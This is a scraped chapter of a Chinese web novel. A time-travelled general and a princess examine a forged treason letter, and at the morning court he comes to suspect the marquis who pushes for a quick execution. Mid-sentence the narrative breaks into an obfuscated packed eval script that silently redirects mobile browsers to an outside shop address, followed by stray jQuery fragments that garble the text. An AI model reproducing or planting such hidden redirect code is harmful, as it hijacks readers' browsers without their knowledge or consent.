文趣网 > 其他小说 > 血月归 > 44. 他为什么急?
    何晋衍从地牢出来,回舒望公主府的路上,一直在沉思,如何才能找到此案另外的破绽。

    他刚从车上走下来,祁念禾乘坐的,从宫中回府的马车也正好停稳在了正门口。二人碰面,相视一笑,便挽着手并肩跨过公主府大门。

    何晋衍与祁念禾一同回到书房中坐下,开始分享此次出行的结果。祁念禾先开口,向何晋衍分享了好消息:

    “我方才去见父皇,他昨日便已得知了字迹比对的结果,也觉得不可置信。父皇深知文懿伯数十年以来的品行,同我们一样觉得此事并非这么简单。

    于是在我提出暂缓行刑的建议之后,父皇立刻准允了。慎之,你现在便有时间静下心来,好好审查这私通之案了。”

    何晋衍微微舒了一口气,即便是眼下他还没有找到案件的突破口,至少他还有仔细调查的时间。

    “念禾,我今日去狱中见了宁儒一面,他也同我说其父文懿伯,向来忠心耿耿、一心为国,此次定是被栽赃陷害了。

    我了解宋宁儒,他并非是会因为一己活命私欲,而欺瞒家父叛国罪过之人。此事,怕是真的另有隐情。

    可是,我真的不知,这蹊跷该从何处破......”

    何晋衍越说越泄气。他太想尽快找出幕后真凶了,可是那人行事滴水不漏,眼下唯一的证据,的确实实在在指向着文懿伯,

    祁念禾看着愁眉苦脸的他,心中同样为此烦恼着,帮何晋衍一起思考着找出破绽的法子。

    她想起儿时曾听父皇教导过的话:欲成大事,必先静气。眼下的他们必然都是心神不宁的,若是要找出罪人的破绽,首先便是要静气。

    祁念禾努力让自己的头脑冷静下来,复盘全事件的逻辑。文懿伯被判定为私通之人,仅仅是通过对这封私通信的字迹鉴别,并没有其他更多的证据了。

    忽然,她灵光乍现:

    “对啊,字迹是可以模仿的!慎之,或许是真凶早就谋划好,想将这私通之罪,栽赃嫁祸给文懿伯,从而请了专人仿照文懿伯的字迹书写的呢?”

    何晋衍原本黯淡的眼睛里,瞬间有了光。他直勾勾地看着祁念禾,示意她继续说下去自己的想法。

    “若这封信的确是真凶刻意模仿了文懿伯的字迹所写,字迹纵然可以模仿,可假事定是成不了真的,无论如何都不可能丝毫破绽把柄都不留下。

    慎之,依我所见,我们此时可以静下心来,再逐字逐句仔细阅读那封私通信,或许能从所述的内容之中,找出些其他有用的线索?”

    何晋衍瞬间理解了祁念禾的用意。字迹确实是可以被模仿的,但是他人所写之字,很难做到百分之一百复刻原主所写。

    如今文懿伯府已被查封,府中文懿伯的大量手稿,都可以拿来作为比对样本来使用。

    退一万步来说,就算在字迹之上做到了天衣无缝,他们再次详细拆分信中所述内容,也是极有价值的举动。

    何晋衍感激地望着祁念禾,眼中的爱慕与钦佩满得快要溢出来。

    “念禾,你真的是我最厉害、最足智多谋的军师。”

    确定好查案的下一步是亲自比对私通文稿之后,何晋衍立刻派人前去文懿伯府,取来了一些文懿伯先前所写的手稿,必备比对之需。

    他便与祁念禾,并肩坐于书房的案前,逐字阅读那封厚厚的私通信:

    “许久未通尺素,并非志向更改,盖因安国军兵力强大、防线森严之故也;盖因如今朝局稳定、帝心沉稳之故也;盖因我知盟军仍需休养生息、重振旗鼓之故也......”

    “‘盖因......之故也’。这要是放在中考作文里,高低得被扣上几分病句分。想不到这古人写信,看上去是挺文绉绉、有模有样的,实际上也会犯句式杂糅的病句啊。”

    何晋衍读着读着,现代初中语文老师的职业病就犯了,那是越看越难受。现代的他批改作文,本就觉得病句乃是眼中沙。他的学生在他的严格批阅之下,大多都已经改掉写病句的毛病了。

    现在看到这古人所写之信,甚至在一开头,就把病句写成了排比,可真是让他心痒痒,恨不得立马就拿红笔给它圈起来,狠狠扣上几分。

    祁念禾听见身边的何晋衍低声地喃喃自语着,却又听不清楚他方才具体说了什么,有些疑惑:

    “慎之,你方才说什么?声音有些小,我没有听清。”

    何晋衍从批改作文的幻想之中回过神来,看着祁念禾,微笑着摇了摇头:

    “没什么,我们继续读信吧。”

    他们仔细地将这封私通之信,从头到尾地阅读完毕。其中大量的篇幅,都是在与前朝王分享当今大申朝廷局势的现状,以及自己发现的或许能够成为谋反漏洞的点。

    除此之外,那人还在信中写道,一旦找准时机,便会给前朝王送去钱财粮食,以助他们早日恢复战力。

    “这谋反的叛国之徒太可恶了,真是罪不可赦!”祁念禾气得直咬牙,想不到父皇身边竟还有此等叛贼,“真是万幸此信被拦截了下来。”

    何晋衍都不敢想,要是信息量这么大的一封信,真的逃过了西疆安国军的防线,传到了前朝王周时魏的手中,这大申天下,还能安定多久?他们的幸福生活,又还能持续多久?

    只是,他们似乎并未从这信中,找出什么破绽。经过他们再一次细致的字迹对比,也并未发现任何差别,完全就是同一人所写。

    他们忙了一整个下午,也没能推动查案进展。何晋衍的眉头又蹙成了一团,抿着嘴一言不发。

    祁念禾看着他愁绪不展的模样,担心他身子会支撑不住,便轻声宽慰道:

    “慎之,你今日已经很累了,先用些晚膳,然后早些休息吧。明日你还要早起上早朝,莫要弄垮了身子。”

    何晋衍没说话,只是失神地点了点头,听了祁念禾的话。

    次日清晨,何晋衍便同往常一样,准时出现在了宫中上早朝。

    文懿伯私通之事已经在朝臣之间传开了,皇帝祁晟还未早朝现身,来上早朝的朝廷官员们,便你一言我一语地讨论着此事。

    何晋衍仍旧垂头丧气、心不在焉的。那些本就对文懿伯私通一事满怀好奇的官员,一见全权负责查办此案的何将军来了,一窝蜂地凑了上来,叽叽喳喳问个不停:

    “何将军,此案进展如何了?听说文懿伯府前两日已被查封了。”

    “何将军,如今已将私通之人捉拿归案了,你为何还不请旨处置这叛国贼啊?”

    ......

    数位朝廷官员,将何晋衍围在了中间,立体环绕声效一般地问着他私通之案的细节。

    何晋衍前一晚本就因此事,愁得一夜没睡好觉。好不容易浅浅睡着,又被叫起来上早朝了,他的心情更是烦躁不已。

    “一帮聒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17957675|211649||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    噪的营销号......”何晋衍实在没有心情应付这些东问西问的官员们,忍不住低声吐槽,“真是一群瓜田里的猹,一有风吹草动,就在这里上赶着吃瓜。”

    那帮官员听得一脸懵,根本不明白何晋衍说的营销号啊吃瓜啊,都是什么玩意。只是看到何将军此刻的脸色极其难看,不耐烦得很,便悻悻地散开了,不敢再多问一句。

    “陛下驾到!”随着太监的高声宣布,一种朝臣们皆摆出恭敬的姿势,迎接皇帝祁晟上朝。

    “众爱卿方才所论之事,朕都听到了,是对文懿伯私通一案,皆有高见啊?”

    祁晟的心绪显然也是受了文懿伯私通之事的影响,语气之中带着几分隐忍的愤怒。

    殿前一众朝廷官员,皆低着头不敢直视圣上,更是不敢说话。唯独嘉义侯乔敬天站了出来,中气十足地直抒己见:

    “陛下,臣以为,应当尽快处决谋逆罪臣文懿伯,以免其再生事端。”

    在场的其余朝臣,全都被嘉义侯此举,惊得倒吸了一口凉气。谁都知道此时根本就不适合作声,谁想得到圣上敢问,这人居然还真敢答。

    “哦,乔爱卿此话怎讲?”祁晟微微挑眉,显然也是被乔敬天的所做所言惊到了。

    “陛下息怒。

    依臣所见,前朝余孽数年前得以起兵攻打我大申,盖因此私通谋逆之人,于朝中声望极高,众人对其疏忽提防之故也。否则,实在难以与前朝王通信联手,起兵复辟。

    文懿伯此等叛国谋逆之贼,为何还要留他一线生机?就应将其即刻处决,斩首示众,以此彰显我国之威严,断了后人欲勾结外族夺权之妄念!”

    何晋衍原本偷偷打着瞌睡,突然被嘉义侯这一番话震醒了。

    “盖因此私通谋逆......疏忽提防之故也?”

    顿时,何晋衍像是触了电一般,立刻精神了起来。

    难道......

    “何将军,朕将此事交由你查办,你如何作想?”

    皇帝突如其来的点名,打断了何晋衍的思绪,只好将注意力拉回早朝之上。他站出来,恭敬应答道:

    “臣以为,嘉义侯所言差矣。私通谋逆乃是大罪,且此案关乎重大、池水颇深,其中所牵扯到的,定不只是文懿伯一人。

    此事还需严审细查,须待到臣将来龙去脉彻查完毕,再做定夺。无论如何,都应先留住文懿伯此嫌疑人之活口。”

    “何将军,你就是行事太过谨慎了!这文懿伯私通谋逆,已经是板上钉了钉的事情,又何必一拖再拖呢?”

    嘉义侯在殿上被何晋衍当众下不来台,恼羞成怒,急得脖子都红了,立刻愤怒地指着何晋衍回怼道。

    “放肆!”皇帝祁晟见乔敬天,在朝堂之上如此失态,忍无可忍了。

    “嘉义侯,大家皆知你与文懿伯,于朝堂上曾有些过节。但也不应一抓住其把柄,就如此迫不及待置人于死地吧。”

    另一位正直的大臣也站出身来,伸张正义。随后,越来越多的大臣开始点头同意。

    嘉义侯此时更觉得难堪了,可是眼见自己已经惹得龙颜不悦,只好压下心中那股不服之气。

    “臣只是一心为国,一急之下如此失态,还望陛下恕罪。”

    不过嘉义侯这一番动静,彻底引发了何晋衍新的猜测:

    嘉义侯乔敬天,绝对心中有鬼。不然,他为什么急?